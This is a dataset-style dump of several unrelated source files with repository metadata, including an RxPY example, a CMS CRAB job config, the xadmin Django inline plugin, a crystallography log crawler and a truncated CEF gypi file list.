cac423252e0da98038388cf95a3f0b4e62d1a888
6ada50adf63078ba28464c59808234bca3fcc9b7
refs/heads/master
2023-06-26T06:57:00.836225
2021-01-30T04:37:35
2021-01-30T04:37:35
114,089,170
5
2
null
2023-05-25T17:08:43
2017-12-13T07:33:57
Jupyter Notebook
UTF-8
Python
false
false
163
py
from rx import Observable Observable.from_(["Alpha", "Beta", "Gamma", "Delta", "Epsilon"]) \ .distinct(lambda s: len(s)) \ .subscribe(lambda i: print(i))
ccf5e0fbc0904ccbc4c7291540962c2be04e1e27
d785e993ed65049c82607a1482b45bddb2a03dda
/nano2017/cfg2018/GluGluToContinToZZTo4e_cfg.py
b03efa62bd937ed3a42f2270aeed36b10cdf53de
[]
no_license
PKUHEPEWK/ssww
eec02ad7650014646e1bcb0e8787cf1514aaceca
a507a289935b51b8abf819b1b4b05476a05720dc
refs/heads/master
2020-05-14T04:15:35.474981
2019-06-28T23:48:15
2019-06-28T23:48:15
181,696,651
0
0
null
null
null
null
UTF-8
Python
false
false
1,374
py
from WMCore.Configuration import Configuration from CRABClient.UserUtilities import config, getUsernameFromSiteDB config = Configuration() config.section_("General") config.General.requestName = 'GluGluToContinToZZTo4e_2018' config.General.transferLogs= False config.section_("JobType") config.JobType.pluginName = 'Analysis' config.JobType.psetName = 'PSet.py' config.JobType.scriptExe = 'crab_script_2018.sh' config.JobType.inputFiles = ['crab_script_2018.py','ssww_keep_and_drop_2018.txt','ssww_output_branch_selection_2018.txt','haddnano.py'] #hadd nano will not be needed once nano tools are in cmssw config.JobType.sendPythonFolder = True config.section_("Data") config.Data.inputDataset = '/GluGluToContinToZZTo4e_13TeV_MCFM701_pythia8/RunIIAutumn18NanoAODv4-Nano14Dec2018_102X_upgrade2018_realistic_v16-v1/NANOAODSIM' #config.Data.inputDBS = 'phys03' config.Data.inputDBS = 'global' config.Data.splitting = 'FileBased' #config.Data.splitting = 'EventAwareLumiBased' config.Data.unitsPerJob = 20 config.Data.totalUnits = -1 config.Data.outLFNDirBase ='/store/user/%s/nano2018_v0' % (getUsernameFromSiteDB()) config.Data.publication = False config.Data.outputDatasetTag = 'GluGluToContinToZZTo4e_2018' config.section_("Site") config.Site.storageSite = "T2_CN_Beijing" #config.Site.storageSite = "T2_CH_CERN" #config.section_("User") #config.User.voGroup = 'dcms'
9462a18277d9b4f90b25c5ab35a7baf388d7aba4
b953909018be86cf8cdf328e2b13395c1dbe28c0
/apps/xadmin/plugins/inline.py
cdc764aa4faeabe0c94f3cdcb5e6bb2bc7eb78b8
[]
no_license
wangyong240/mes
06ce26d146aebe0b0103dda4fdd198c3cefc6014
12d7321c1b96ae0fdd8f26029462e1943a500c01
refs/heads/master
2023-01-01T13:29:29.853063
2020-09-19T01:19:22
2020-09-19T01:19:22
296,762,233
1
0
null
2020-09-19T01:20:05
2020-09-19T01:20:04
null
UTF-8
Python
false
false
16,489
py
import copy import inspect from django import forms from django.forms.formsets import all_valid, DELETION_FIELD_NAME from django.forms.models import inlineformset_factory, BaseInlineFormSet from django.contrib.contenttypes.generic import BaseGenericInlineFormSet, generic_inlineformset_factory from django.template import loader from django.template.loader import render_to_string from xadmin.layout import FormHelper, Layout, flatatt, Container, Column, Field, Fieldset from xadmin.sites import site from xadmin.views import BaseAdminPlugin, ModelFormAdminView, DetailAdminView, filter_hook class ShowField(Field): template = "xadmin/layout/field_value.html" def __init__(self, admin_view, *args, **kwargs): super(ShowField, self).__init__(*args, **kwargs) self.admin_view = admin_view if admin_view.style == 'table': self.template = "xadmin/layout/field_value_td.html" def render(self, form, form_style, context): html = '' detail = form.detail for field in self.fields: if not isinstance(form.fields[field].widget, forms.HiddenInput): result = detail.get_field_result(field) html += loader.render_to_string( self.template, {'field': form[field], 'result': result}) return html class DeleteField(Field): def render(self, form, form_style, context): if form.instance.pk: self.attrs['type'] = 'hidden' return super(DeleteField, self).render(form, form_style, context) else: return "" class TDField(Field): template = "xadmin/layout/td-field.html" class InlineStyleManager(object): inline_styles = {} def register_style(self, name, style): self.inline_styles[name] = style def get_style(self, name='stacked'): return self.inline_styles.get(name) style_manager = InlineStyleManager() class InlineStyle(object): template = 'xadmin/edit_inline/stacked.html' def __init__(self, view, formset): self.view = view self.formset = formset def update_layout(self, helper): pass def get_attrs(self): return {} style_manager.register_style('stacked', InlineStyle) class OneInlineStyle(InlineStyle): template = 'xadmin/edit_inline/one.html' style_manager.register_style("one", OneInlineStyle) class AccInlineStyle(InlineStyle): template = 'xadmin/edit_inline/accordion.html' style_manager.register_style("accordion", AccInlineStyle) class TabInlineStyle(InlineStyle): template = 'xadmin/edit_inline/tab.html' style_manager.register_style("tab", TabInlineStyle) class TableInlineStyle(InlineStyle): template = 'xadmin/edit_inline/tabular.html' def update_layout(self, helper): helper.add_layout( Layout(*[TDField(f) for f in self.formset[0].fields.keys()])) def get_attrs(self): fields = [] readonly_fields = [] if len(self.formset): fields = [f for k, f in self.formset[0].fields.items() if k != DELETION_FIELD_NAME] readonly_fields = [f for f in getattr(self.formset[0], 'readonly_fields', [])] return { 'fields': fields, 'readonly_fields': readonly_fields } style_manager.register_style("table", TableInlineStyle) def replace_field_to_value(layout, av): if layout: for i, lo in enumerate(layout.fields): if isinstance(lo, Field) or issubclass(lo.__class__, Field): layout.fields[i] = ShowField(av, *lo.fields, **lo.attrs) elif isinstance(lo, basestring): layout.fields[i] = ShowField(av, lo) elif hasattr(lo, 'get_field_names'): replace_field_to_value(lo, av) class InlineModelAdmin(ModelFormAdminView): fk_name = None formset = BaseInlineFormSet extra = 3 max_num = None can_delete = True fields = [] admin_view = None style = 'stacked' def init(self, admin_view): self.admin_view = admin_view self.parent_model = admin_view.model self.org_obj = getattr(admin_view, 'org_obj', None) self.model_instance = self.org_obj or admin_view.model() return self @filter_hook def get_formset(self, **kwargs): """Returns a BaseInlineFormSet class for use in admin add/change views.""" if self.exclude is None: exclude = [] else: exclude = list(self.exclude) exclude.extend(self.get_readonly_fields()) if self.exclude is None and hasattr(self.form, '_meta') and self.form._meta.exclude: # Take the custom ModelForm's Meta.exclude into account only if the # InlineModelAdmin doesn't define its own. exclude.extend(self.form._meta.exclude) # if exclude is an empty list we use None, since that's the actual # default exclude = exclude or None can_delete = self.can_delete and self.has_delete_permission() defaults = { "form": self.form, "formset": self.formset, "fk_name": self.fk_name, "exclude": exclude, "formfield_callback": self.formfield_for_dbfield, "extra": self.extra, "max_num": self.max_num, "can_delete": can_delete, } defaults.update(kwargs) return inlineformset_factory(self.parent_model, self.model, **defaults) @filter_hook def instance_form(self, **kwargs): formset = self.get_formset(**kwargs) attrs = { 'instance': self.model_instance, 'queryset': self.queryset() } if self.request_method == 'post': attrs.update({ 'data': self.request.POST, 'files': self.request.FILES, 'save_as_new': "_saveasnew" in self.request.POST }) instance = formset(**attrs) instance.view = self helper = FormHelper() helper.form_tag = False # override form method to prevent render csrf_token in inline forms, see template 'bootstrap/whole_uni_form.html' helper.form_method = 'get' style = style_manager.get_style( 'one' if self.max_num == 1 else self.style)(self, instance) style.name = self.style if len(instance): layout = copy.deepcopy(self.form_layout) if layout is None: layout = Layout(*instance[0].fields.keys()) elif type(layout) in (list, tuple) and len(layout) > 0: layout = Layout(*layout) rendered_fields = [i[1] for i in layout.get_field_names()] layout.extend([f for f in instance[0] .fields.keys() if f not in rendered_fields]) helper.add_layout(layout) style.update_layout(helper) # replace delete field with Dynamic field, for hidden delete field when instance is NEW. helper[DELETION_FIELD_NAME].wrap(DeleteField) instance.helper = helper instance.style = style readonly_fields = self.get_readonly_fields() if readonly_fields: for form in instance: form.readonly_fields = [] inst = form.save(commit=False) if inst: for readonly_field in readonly_fields: value = None label = None if readonly_field in inst._meta.get_all_field_names(): label = inst._meta.get_field_by_name(readonly_field)[0].verbose_name value = unicode(getattr(inst, readonly_field)) elif inspect.ismethod(getattr(inst, readonly_field, None)): value = getattr(inst, readonly_field)() label = getattr(getattr(inst, readonly_field), 'short_description', readonly_field) if value: form.readonly_fields.append({'label': label, 'contents': value}) return instance def has_auto_field(self, form): if form._meta.model._meta.has_auto_field: return True for parent in form._meta.model._meta.get_parent_list(): if parent._meta.has_auto_field: return True return False def queryset(self): queryset = super(InlineModelAdmin, self).queryset() if not self.has_change_permission() and not self.has_view_permission(): queryset = queryset.none() return queryset def has_add_permission(self): if self.opts.auto_created: return self.has_change_permission() return self.user.has_perm( self.opts.app_label + '.' + self.opts.get_add_permission()) def has_change_permission(self): opts = self.opts if opts.auto_created: for field in opts.fields: if field.rel and field.rel.to != self.parent_model: opts = field.rel.to._meta break return self.user.has_perm( opts.app_label + '.' + opts.get_change_permission()) def has_delete_permission(self): if self.opts.auto_created: return self.has_change_permission() return self.user.has_perm( self.opts.app_label + '.' + self.opts.get_delete_permission()) class GenericInlineModelAdmin(InlineModelAdmin): ct_field = "content_type" ct_fk_field = "object_id" formset = BaseGenericInlineFormSet def get_formset(self, **kwargs): if self.exclude is None: exclude = [] else: exclude = list(self.exclude) exclude.extend(self.get_readonly_fields()) if self.exclude is None and hasattr(self.form, '_meta') and self.form._meta.exclude: # Take the custom ModelForm's Meta.exclude into account only if the # GenericInlineModelAdmin doesn't define its own. exclude.extend(self.form._meta.exclude) exclude = exclude or None can_delete = self.can_delete and self.has_delete_permission() defaults = { "ct_field": self.ct_field, "fk_field": self.ct_fk_field, "form": self.form, "formfield_callback": self.formfield_for_dbfield, "formset": self.formset, "extra": self.extra, "can_delete": can_delete, "can_order": False, "max_num": self.max_num, "exclude": exclude } defaults.update(kwargs) return generic_inlineformset_factory(self.model, **defaults) class InlineFormset(Fieldset): def __init__(self, formset, allow_blank=False, **kwargs): self.fields = [] self.css_class = kwargs.pop('css_class', '') self.css_id = "%s-group" % formset.prefix self.template = formset.style.template self.inline_style = formset.style.name if allow_blank and len(formset) == 0: self.template = 'xadmin/edit_inline/blank.html' self.inline_style = 'blank' self.formset = formset self.model = formset.model self.opts = formset.model._meta self.flat_attrs = flatatt(kwargs) self.extra_attrs = formset.style.get_attrs() def render(self, form, form_style, context): return render_to_string( self.template, dict({'formset': self, 'prefix': self.formset.prefix, 'inline_style': self.inline_style}, **self.extra_attrs), context_instance=context) class Inline(Fieldset): def __init__(self, rel_model): self.model = rel_model self.fields = [] def render(self, form, form_style, context): return "" def get_first_field(layout, clz): for layout_object in layout.fields: if issubclass(layout_object.__class__, clz): return layout_object elif hasattr(layout_object, 'get_field_names'): gf = get_first_field(layout_object, clz) if gf: return gf def replace_inline_objects(layout, fs): if not fs: return for i, layout_object in enumerate(layout.fields): if isinstance(layout_object, Inline) and layout_object.model in fs: layout.fields[i] = fs.pop(layout_object.model) elif hasattr(layout_object, 'get_field_names'): replace_inline_objects(layout_object, fs) class InlineFormsetPlugin(BaseAdminPlugin): inlines = [] @property def inline_instances(self): if not hasattr(self, '_inline_instances'): inline_instances = [] for inline_class in self.inlines: inline = self.admin_view.get_view( (getattr(inline_class, 'generic_inline', False) and GenericInlineModelAdmin or InlineModelAdmin), inline_class).init(self.admin_view) if not (inline.has_add_permission() or inline.has_change_permission() or inline.has_delete_permission() or inline.has_view_permission()): continue if not inline.has_add_permission(): inline.max_num = 0 inline_instances.append(inline) self._inline_instances = inline_instances return self._inline_instances def instance_forms(self, ret): self.formsets = [] for inline in self.inline_instances: if inline.has_change_permission(): self.formsets.append(inline.instance_form()) else: self.formsets.append(self._get_detail_formset_instance(inline)) self.admin_view.formsets = self.formsets def valid_forms(self, result): return all_valid(self.formsets) and result def save_related(self): for formset in self.formsets: formset.instance = self.admin_view.new_obj formset.save() def get_context(self, context): context['inline_formsets'] = self.formsets return context def get_error_list(self, errors): for fs in self.formsets: errors.extend(fs.non_form_errors()) for errors_in_inline_form in fs.errors: errors.extend(errors_in_inline_form.values()) return errors def get_form_layout(self, layout): allow_blank = isinstance(self.admin_view, DetailAdminView) fs = dict( [(f.model, InlineFormset(f, allow_blank)) for f in self.formsets]) replace_inline_objects(layout, fs) if fs: container = get_first_field(layout, Column) if not container: container = get_first_field(layout, Container) if not container: container = layout for fs in fs.values(): container.append(fs) return layout def get_media(self, media): for fs in self.formsets: media = media + fs.media if self.formsets: media = media + self.vendor( 'xadmin.plugin.formset.js', 'xadmin.plugin.formset.css') return media def _get_detail_formset_instance(self, inline): formset = inline.instance_form(extra=0, max_num=0, can_delete=0) formset.detail_page = True if True: replace_field_to_value(formset.helper.layout, inline) model = inline.model opts = model._meta fake_admin_class = type(str('%s%sFakeAdmin' % (opts.app_label, opts.module_name)), (object, ), {'model': model}) for form in formset.forms: instance = form.instance if instance.pk: form.detail = self.get_view( DetailAdminUtil, fake_admin_class, instance) return formset class DetailAdminUtil(DetailAdminView): def init_request(self, obj): self.obj = obj self.org_obj = obj class DetailInlineFormsetPlugin(InlineFormsetPlugin): def get_model_form(self, form, **kwargs): self.formsets = [self._get_detail_formset_instance( inline) for inline in self.inline_instances] return form site.register_plugin(InlineFormsetPlugin, ModelFormAdminView) site.register_plugin(DetailInlineFormsetPlugin, DetailAdminView)
f2110dbbd89d74b18d31ba38453abe0f7578aebb
60fa442ae76b960ab21b10fb527c0eac85cdc587
/phenix/crawl_refines_print_Rfactor.py
3865946eb9d8dfc4cf54c28e0f99554fc655a411
[]
no_license
pjanowski/Pawel_PhD_Scripts
8e6c2b92b492f9cacf425327a01faaceb27bb87d
5f9b1735ca6da8fdf0946d6748f3da7d3d723d5e
refs/heads/master
2021-01-10T06:15:30.287053
2015-11-16T04:04:07
2015-11-16T04:04:07
46,250,317
0
1
null
null
null
null
UTF-8
Python
false
false
435
py
import os import glob dbase="/media/My Book/Marco/rigi_145392/p6522" ds = next(os.walk(dbase))[1] ds = [i for i in ds if i.startswith('Refine')] f = lambda x: (x,int(x.split('_')[-1])) ds = map(f,ds) ds.sort(key=lambda x: x[-1]) ds = [ i[0] for i in ds ] for d in ds: logfile = glob.glob('%s/%s/*log' %(dbase,d)) if len(logfile) ==0: continue f=open(logfile[0], 'r') l=f.readlines() print d print l[-2], print l[-1]
d21273618c0ba3f88d15e8539600718e99a08407
298b5c5d4d103f6fb2ff6510342d9e302111573e
/seaborn/colors/__init__.py
3d0bf1d56bdc5c0e724c8eeb95200297884337cc
[ "BSD-3-Clause" ]
permissive
mwaskom/seaborn
a8ea9e8f3932a6324b196862cc6593f69df2d459
67a777a54dd1064c3f9038733b1ed71c6d50a6af
refs/heads/master
2023-08-24T06:22:32.609915
2023-08-24T01:09:05
2023-08-24T01:09:05
4,704,710
10,793
2,316
BSD-3-Clause
2023-09-11T05:04:46
2012-06-18T18:41:19
Python
UTF-8
Python
false
false
88
py
from .xkcd_rgb import xkcd_rgb # noqa: F401 from .crayons import crayons # noqa: F401
7e5655692f68542ff5bdf487192f36808cc0e71f
11e93d33fbc1e1ce37b14969276f13ad1ba1823b
/cef_paths.gypi
cb4bf53b504675bb2cf66d164bdb87552e331f76
[ "BSD-3-Clause" ]
permissive
chorusg/cef
671ff2ffd92a361fe4b62649317687b22c062295
1ffa5528b3e3640751e19cf47d8bcb615151907b
refs/heads/master
2023-06-19T08:26:02.558559
2021-07-19T15:55:43
2021-07-19T15:55:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
42,714
gypi
# Copyright (c) 2021 The Chromium Embedded Framework Authors. All rights # reserved. Use of this source code is governed by a BSD-style license that # can be found in the LICENSE file. # # --------------------------------------------------------------------------- # # This file was generated by the CEF translator tool and should not edited # by hand. See the translator.README.txt file in the tools directory for # more information. # # $hash=d723a9f6637cec523b158a6750d3a64698b407c3$ # { 'variables': { 'autogen_cpp_includes': [ 'include/cef_accessibility_handler.h', 'include/cef_app.h', 'include/cef_audio_handler.h', 'include/cef_auth_callback.h', 'include/cef_browser.h', 'include/cef_browser_process_handler.h', 'include/cef_callback.h', 'include/cef_client.h', 'include/cef_command_line.h', 'include/cef_context_menu_handler.h', 'include/cef_cookie.h', 'include/cef_crash_util.h', 'include/cef_devtools_message_observer.h', 'include/cef_dialog_handler.h', 'include/cef_display_handler.h', 'include/cef_dom.h', 'include/cef_download_handler.h', 'include/cef_download_item.h', 'include/cef_drag_data.h', 'include/cef_drag_handler.h', 'include/cef_extension.h', 'include/cef_extension_handler.h', 'include/cef_file_util.h', 'include/cef_find_handler.h', 'include/cef_focus_handler.h', 'include/cef_frame.h', 'include/cef_frame_handler.h', 'include/cef_image.h', 'include/cef_jsdialog_handler.h', 'include/cef_keyboard_handler.h', 'include/cef_life_span_handler.h', 'include/cef_load_handler.h', 'include/cef_media_router.h', 'include/cef_menu_model.h', 'include/cef_menu_model_delegate.h', 'include/cef_navigation_entry.h', 'include/cef_origin_whitelist.h', 'include/cef_parser.h', 'include/cef_path_util.h', 'include/cef_print_handler.h', 'include/cef_print_settings.h', 'include/cef_process_message.h', 'include/cef_process_util.h', 'include/cef_registration.h', 'include/cef_render_handler.h', 'include/cef_render_process_handler.h', 'include/cef_request.h', 'include/cef_request_callback.h', 'include/cef_request_context.h', 'include/cef_request_context_handler.h', 'include/cef_request_handler.h', 'include/cef_resource_bundle.h', 'include/cef_resource_bundle_handler.h', 'include/cef_resource_handler.h', 'include/cef_resource_request_handler.h', 'include/cef_response.h', 'include/cef_response_filter.h', 'include/cef_scheme.h', 'include/cef_server.h', 'include/cef_ssl_info.h', 'include/cef_ssl_status.h', 'include/cef_stream.h', 'include/cef_string_visitor.h', 'include/cef_task.h', 'include/cef_thread.h', 'include/cef_trace.h', 'include/cef_urlrequest.h', 'include/cef_v8.h', 'include/cef_values.h', 'include/cef_waitable_event.h', 'include/cef_web_plugin.h', 'include/cef_x509_certificate.h', 'include/cef_xml_reader.h', 'include/cef_zip_reader.h', 'include/test/cef_test_helpers.h', 'include/test/cef_translator_test.h', 'include/views/cef_box_layout.h', 'include/views/cef_browser_view.h', 'include/views/cef_browser_view_delegate.h', 'include/views/cef_button.h', 'include/views/cef_button_delegate.h', 'include/views/cef_display.h', 'include/views/cef_fill_layout.h', 'include/views/cef_label_button.h', 'include/views/cef_layout.h', 'include/views/cef_menu_button.h', 'include/views/cef_menu_button_delegate.h', 'include/views/cef_panel.h', 'include/views/cef_panel_delegate.h', 'include/views/cef_scroll_view.h', 'include/views/cef_textfield.h', 'include/views/cef_textfield_delegate.h', 'include/views/cef_view.h', 'include/views/cef_view_delegate.h', 'include/views/cef_window.h', 'include/views/cef_window_delegate.h', ], 'autogen_capi_includes': [ 'include/capi/cef_accessibility_handler_capi.h', 'include/capi/cef_app_capi.h', 'include/capi/cef_audio_handler_capi.h', 'include/capi/cef_auth_callback_capi.h', 'include/capi/cef_browser_capi.h', 'include/capi/cef_browser_process_handler_capi.h', 'include/capi/cef_callback_capi.h', 'include/capi/cef_client_capi.h', 'include/capi/cef_command_line_capi.h', 'include/capi/cef_context_menu_handler_capi.h', 'include/capi/cef_cookie_capi.h', 'include/capi/cef_crash_util_capi.h', 'include/capi/cef_devtools_message_observer_capi.h', 'include/capi/cef_dialog_handler_capi.h', 'include/capi/cef_display_handler_capi.h', 'include/capi/cef_dom_capi.h', 'include/capi/cef_download_handler_capi.h', 'include/capi/cef_download_item_capi.h', 'include/capi/cef_drag_data_capi.h', 'include/capi/cef_drag_handler_capi.h', 'include/capi/cef_extension_capi.h', 'include/capi/cef_extension_handler_capi.h', 'include/capi/cef_file_util_capi.h', 'include/capi/cef_find_handler_capi.h', 'include/capi/cef_focus_handler_capi.h', 'include/capi/cef_frame_capi.h', 'include/capi/cef_frame_handler_capi.h', 'include/capi/cef_image_capi.h', 'include/capi/cef_jsdialog_handler_capi.h', 'include/capi/cef_keyboard_handler_capi.h', 'include/capi/cef_life_span_handler_capi.h', 'include/capi/cef_load_handler_capi.h', 'include/capi/cef_media_router_capi.h', 'include/capi/cef_menu_model_capi.h', 'include/capi/cef_menu_model_delegate_capi.h', 'include/capi/cef_navigation_entry_capi.h', 'include/capi/cef_origin_whitelist_capi.h', 'include/capi/cef_parser_capi.h', 'include/capi/cef_path_util_capi.h', 'include/capi/cef_print_handler_capi.h', 'include/capi/cef_print_settings_capi.h', 'include/capi/cef_process_message_capi.h', 'include/capi/cef_process_util_capi.h', 'include/capi/cef_registration_capi.h', 'include/capi/cef_render_handler_capi.h', 'include/capi/cef_render_process_handler_capi.h', 'include/capi/cef_request_capi.h', 'include/capi/cef_request_callback_capi.h', 'include/capi/cef_request_context_capi.h', 'include/capi/cef_request_context_handler_capi.h', 'include/capi/cef_request_handler_capi.h', 'include/capi/cef_resource_bundle_capi.h', 'include/capi/cef_resource_bundle_handler_capi.h', 'include/capi/cef_resource_handler_capi.h', 'include/capi/cef_resource_request_handler_capi.h', 'include/capi/cef_response_capi.h', 'include/capi/cef_response_filter_capi.h', 'include/capi/cef_scheme_capi.h', 'include/capi/cef_server_capi.h', 'include/capi/cef_ssl_info_capi.h', 'include/capi/cef_ssl_status_capi.h', 'include/capi/cef_stream_capi.h', 'include/capi/cef_string_visitor_capi.h', 'include/capi/cef_task_capi.h', 'include/capi/cef_thread_capi.h', 'include/capi/cef_trace_capi.h', 'include/capi/cef_urlrequest_capi.h', 'include/capi/cef_v8_capi.h', 'include/capi/cef_values_capi.h', 'include/capi/cef_waitable_event_capi.h', 'include/capi/cef_web_plugin_capi.h', 'include/capi/cef_x509_certificate_capi.h', 'include/capi/cef_xml_reader_capi.h', 'include/capi/cef_zip_reader_capi.h', 'include/capi/test/cef_test_helpers_capi.h', 'include/capi/test/cef_translator_test_capi.h', 'include/capi/views/cef_box_layout_capi.h', 'include/capi/views/cef_browser_view_capi.h', 'include/capi/views/cef_browser_view_delegate_capi.h', 'include/capi/views/cef_button_capi.h', 'include/capi/views/cef_button_delegate_capi.h', 'include/capi/views/cef_display_capi.h', 'include/capi/views/cef_fill_layout_capi.h', 'include/capi/views/cef_label_button_capi.h', 'include/capi/views/cef_layout_capi.h', 'include/capi/views/cef_menu_button_capi.h', 'include/capi/views/cef_menu_button_delegate_capi.h', 'include/capi/views/cef_panel_capi.h', 'include/capi/views/cef_panel_delegate_capi.h', 'include/capi/views/cef_scroll_view_capi.h', 'include/capi/views/cef_textfield_capi.h', 'include/capi/views/cef_textfield_delegate_capi.h', 'include/capi/views/cef_view_capi.h', 'include/capi/views/cef_view_delegate_capi.h', 'include/capi/views/cef_window_capi.h', 'include/capi/views/cef_window_delegate_capi.h', ], 'autogen_library_side': [ 'libcef_dll/ctocpp/accessibility_handler_ctocpp.cc', 'libcef_dll/ctocpp/accessibility_handler_ctocpp.h', 'libcef_dll/ctocpp/app_ctocpp.cc', 'libcef_dll/ctocpp/app_ctocpp.h', 'libcef_dll/ctocpp/audio_handler_ctocpp.cc', 'libcef_dll/ctocpp/audio_handler_ctocpp.h', 'libcef_dll/cpptoc/auth_callback_cpptoc.cc', 'libcef_dll/cpptoc/auth_callback_cpptoc.h', 'libcef_dll/cpptoc/before_download_callback_cpptoc.cc', 'libcef_dll/cpptoc/before_download_callback_cpptoc.h', 'libcef_dll/cpptoc/binary_value_cpptoc.cc', 'libcef_dll/cpptoc/binary_value_cpptoc.h', 'libcef_dll/cpptoc/views/box_layout_cpptoc.cc', 'libcef_dll/cpptoc/views/box_layout_cpptoc.h', 'libcef_dll/cpptoc/browser_cpptoc.cc', 'libcef_dll/cpptoc/browser_cpptoc.h', 'libcef_dll/cpptoc/browser_host_cpptoc.cc', 'libcef_dll/cpptoc/browser_host_cpptoc.h', 'libcef_dll/ctocpp/browser_process_handler_ctocpp.cc', 'libcef_dll/ctocpp/browser_process_handler_ctocpp.h', 'libcef_dll/cpptoc/views/browser_view_cpptoc.cc', 'libcef_dll/cpptoc/views/browser_view_cpptoc.h', 'libcef_dll/ctocpp/views/browser_view_delegate_ctocpp.cc', 'libcef_dll/ctocpp/views/browser_view_delegate_ctocpp.h', 'libcef_dll/cpptoc/views/button_cpptoc.cc', 'libcef_dll/cpptoc/views/button_cpptoc.h', 'libcef_dll/ctocpp/views/button_delegate_ctocpp.cc', 'libcef_dll/ctocpp/views/button_delegate_ctocpp.h', 'libcef_dll/cpptoc/callback_cpptoc.cc', 'libcef_dll/cpptoc/callback_cpptoc.h', 'libcef_dll/ctocpp/client_ctocpp.cc', 'libcef_dll/ctocpp/client_ctocpp.h', 'libcef_dll/cpptoc/command_line_cpptoc.cc', 'libcef_dll/cpptoc/command_line_cpptoc.h', 'libcef_dll/ctocpp/completion_callback_ctocpp.cc', 'libcef_dll/ctocpp/completion_callback_ctocpp.h', 'libcef_dll/ctocpp/context_menu_handler_ctocpp.cc', 'libcef_dll/ctocpp/context_menu_handler_ctocpp.h', 'libcef_dll/cpptoc/context_menu_params_cpptoc.cc', 'libcef_dll/cpptoc/context_menu_params_cpptoc.h', 'libcef_dll/ctocpp/cookie_access_filter_ctocpp.cc', 'libcef_dll/ctocpp/cookie_access_filter_ctocpp.h', 'libcef_dll/cpptoc/cookie_manager_cpptoc.cc', 'libcef_dll/cpptoc/cookie_manager_cpptoc.h', 'libcef_dll/ctocpp/cookie_visitor_ctocpp.cc', 'libcef_dll/ctocpp/cookie_visitor_ctocpp.h', 'libcef_dll/cpptoc/domdocument_cpptoc.cc', 'libcef_dll/cpptoc/domdocument_cpptoc.h', 'libcef_dll/cpptoc/domnode_cpptoc.cc', 'libcef_dll/cpptoc/domnode_cpptoc.h', 'libcef_dll/ctocpp/domvisitor_ctocpp.cc', 'libcef_dll/ctocpp/domvisitor_ctocpp.h', 'libcef_dll/ctocpp/delete_cookies_callback_ctocpp.cc', 'libcef_dll/ctocpp/delete_cookies_callback_ctocpp.h', 'libcef_dll/ctocpp/dev_tools_message_observer_ctocpp.cc', 'libcef_dll/ctocpp/dev_tools_message_observer_ctocpp.h', 'libcef_dll/ctocpp/dialog_handler_ctocpp.cc', 'libcef_dll/ctocpp/dialog_handler_ctocpp.h', 'libcef_dll/cpptoc/dictionary_value_cpptoc.cc', 'libcef_dll/cpptoc/dictionary_value_cpptoc.h', 'libcef_dll/cpptoc/views/display_cpptoc.cc', 'libcef_dll/cpptoc/views/display_cpptoc.h', 'libcef_dll/ctocpp/display_handler_ctocpp.cc', 'libcef_dll/ctocpp/display_handler_ctocpp.h', 'libcef_dll/ctocpp/download_handler_ctocpp.cc', 'libcef_dll/ctocpp/download_handler_ctocpp.h', 'libcef_dll/ctocpp/download_image_callback_ctocpp.cc', 'libcef_dll/ctocpp/download_image_callback_ctocpp.h', 'libcef_dll/cpptoc/download_item_cpptoc.cc', 'libcef_dll/cpptoc/download_item_cpptoc.h', 'libcef_dll/cpptoc/download_item_callback_cpptoc.cc', 'libcef_dll/cpptoc/download_item_callback_cpptoc.h', 'libcef_dll/cpptoc/drag_data_cpptoc.cc', 'libcef_dll/cpptoc/drag_data_cpptoc.h', 'libcef_dll/ctocpp/drag_handler_ctocpp.cc', 'libcef_dll/ctocpp/drag_handler_ctocpp.h', 'libcef_dll/ctocpp/end_tracing_callback_ctocpp.cc', 'libcef_dll/ctocpp/end_tracing_callback_ctocpp.h', 'libcef_dll/cpptoc/extension_cpptoc.cc', 'libcef_dll/cpptoc/extension_cpptoc.h', 'libcef_dll/ctocpp/extension_handler_ctocpp.cc', 'libcef_dll/ctocpp/extension_handler_ctocpp.h', 'libcef_dll/cpptoc/file_dialog_callback_cpptoc.cc', 'libcef_dll/cpptoc/file_dialog_callback_cpptoc.h', 'libcef_dll/cpptoc/views/fill_layout_cpptoc.cc', 'libcef_dll/cpptoc/views/fill_layout_cpptoc.h', 'libcef_dll/ctocpp/find_handler_ctocpp.cc', 'libcef_dll/ctocpp/find_handler_ctocpp.h', 'libcef_dll/ctocpp/focus_handler_ctocpp.cc', 'libcef_dll/ctocpp/focus_handler_ctocpp.h', 'libcef_dll/cpptoc/frame_cpptoc.cc', 'libcef_dll/cpptoc/frame_cpptoc.h', 'libcef_dll/ctocpp/frame_handler_ctocpp.cc', 'libcef_dll/ctocpp/frame_handler_ctocpp.h', 'libcef_dll/cpptoc/get_extension_resource_callback_cpptoc.cc', 'libcef_dll/cpptoc/get_extension_resource_callback_cpptoc.h', 'libcef_dll/cpptoc/image_cpptoc.cc', 'libcef_dll/cpptoc/image_cpptoc.h', 'libcef_dll/cpptoc/jsdialog_callback_cpptoc.cc', 'libcef_dll/cpptoc/jsdialog_callback_cpptoc.h', 'libcef_dll/ctocpp/jsdialog_handler_ctocpp.cc', 'libcef_dll/ctocpp/jsdialog_handler_ctocpp.h', 'libcef_dll/ctocpp/keyboard_handler_ctocpp.cc', 'libcef_dll/ctocpp/keyboard_handler_ctocpp.h', 'libcef_dll/cpptoc/views/label_button_cpptoc.cc', 'libcef_dll/cpptoc/views/label_button_cpptoc.h', 'libcef_dll/cpptoc/views/layout_cpptoc.cc', 'libcef_dll/cpptoc/views/layout_cpptoc.h', 'libcef_dll/ctocpp/life_span_handler_ctocpp.cc', 'libcef_dll/ctocpp/life_span_handler_ctocpp.h', 'libcef_dll/cpptoc/list_value_cpptoc.cc', 'libcef_dll/cpptoc/list_value_cpptoc.h', 'libcef_dll/ctocpp/load_handler_ctocpp.cc', 'libcef_dll/ctocpp/load_handler_ctocpp.h', 'libcef_dll/ctocpp/media_observer_ctocpp.cc', 'libcef_dll/ctocpp/media_observer_ctocpp.h', 'libcef_dll/cpptoc/media_route_cpptoc.cc', 'libcef_dll/cpptoc/media_route_cpptoc.h', 'libcef_dll/ctocpp/media_route_create_callback_ctocpp.cc', 'libcef_dll/ctocpp/media_route_create_callback_ctocpp.h', 'libcef_dll/cpptoc/media_router_cpptoc.cc', 'libcef_dll/cpptoc/media_router_cpptoc.h', 'libcef_dll/cpptoc/media_sink_cpptoc.cc', 'libcef_dll/cpptoc/media_sink_cpptoc.h', 'libcef_dll/ctocpp/media_sink_device_info_callback_ctocpp.cc', 'libcef_dll/ctocpp/media_sink_device_info_callback_ctocpp.h', 